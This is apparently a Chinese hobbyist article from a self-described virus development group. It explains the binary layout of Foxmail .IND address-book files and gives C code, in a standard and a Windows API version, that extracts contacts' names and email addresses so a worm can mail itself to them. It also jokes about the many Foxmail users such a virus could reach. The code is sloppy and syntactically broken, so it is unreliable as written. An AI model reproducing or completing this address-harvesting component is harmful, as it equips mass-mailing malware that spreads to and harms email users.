來(lái)源:蘇睿暄病毒研發(fā)小組
用Foxmail的地址傳播病毒
{注:看了whaoye的《淺談?dòng)胐elphi寫蠕蟲病毒》后...}
foxmail的地址存在.IND里,用16進(jìn)制的編輯器打開該文檔會(huì)發(fā)現(xiàn)
::
文件頭的范圍為00H-39H,共64個(gè)字節(jié)。
05H保存紀(jì)錄的個(gè)數(shù),12H-21H記錄地址薄名稱。
記錄部分40H開始是第一條記錄,每條記錄長(zhǎng)B0H
每條記錄的00H是記錄號(hào),04H是刪除標(biāo)記,該字節(jié)為1表明此記錄被用戶刪除
11H是組記錄,該字節(jié)為1表明此記錄為一條組記錄;
12H是名稱的長(zhǎng)度,最大為20H;
13H-32H是名稱內(nèi)容,33H是郵件地址長(zhǎng)度,最大為40H,34H-73H是郵件地址內(nèi)容。。。
下面我們寫一段代碼用于從.IND文件中將地址提出來(lái),然后...(看你的想象力了,whaoye
已經(jīng)將發(fā)送方面寫的很清楚了,不用我再重復(fù)了)
我用C寫的代碼,delphi下的代碼是不同的,大家可以自行更改...
(我沒用API,原因是我用api寫的在測(cè)試時(shí),除了幾次錯(cuò)誤,以后有時(shí)間,一定補(bǔ)上)
file*fp_addr
char*srcname
char headbuf[0x41],recbuf[0xb1]
int i;
if(fp_addr=fopen(srcname,"rb"))==null)
{exit(-1)}
fseek(fp_addr,0x40,seek_set)
while(!feof(fp_addr))
{
char name[0x21],email[0x41]
for(i=0;i<0x21;i++)
name=''
for(i=0;i<0x41;i++)
email=''
fread(recbuf,1,0xb0,fp_addr)
if(recbuf[0x4]==1)
{continue;}
if(recbuf[0x11]==1)
{continue;}
for(i=0;i<recbuf[0x21],i++)
{
if(recbuf[i+0x13]==0)break
name=recbuf[i+0x13]
}
for(i=0;i<recbuf[0x33],i++)
{
if(recbuf[i+0x34]==0)break
email=recbuf[i+0x34]
}
/*此處添加處理name(收件人名),email(收件人地址)的程序*/
}
fclose(fp_addr)
好了,既然有了讀取foxmail中地址的方法,再利用搜索方法找出所有的.IND文件,
參照whaoye的文章就可以寫出...
{后記::foxmail在中國(guó)的用戶量是很多的,如果利用這種方法寫出病毒來(lái)...hahaha}
{補(bǔ)記::
API方法
handle fp_addr
char*srcname
DWORD dwVes
char headbuf[0x41],recbuf[0xb1]
int i;
if(fp_addr=CreateFile(srcname,GENRIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0))==INVALID_HANDLE_VALUE)
{RETURN -1}
SetFilePointer(fp_addr,0x40,0,File_Begin)
while(!GetFilePointer(fp_addr))
{
char name[0x21],email[0x41]
for(i=0;i<0x21;i++)
name=''
for(i=0;i<0x41;i++)
email=''
ReadFile(fp_addr,recbuf,0xb0,&dwVes,0)
if(recbuf[0x4]==1)
{continue;}
if(recbuf[0x11]==1)
{continue;}
for(i=0;i<recbuf[0x21],i++)
{
if(recbuf[i+0x13]==0)break
name=recbuf[i+0x13]
}
for(i=0;i<recbuf[0x33],i++)
{
if(recbuf[i+0x34]==0)break
email=recbuf[i+0x34]
}
//此處添加處理name(收件人名),email(收件人地址)的程序
}
CloseHandle(fp_addr)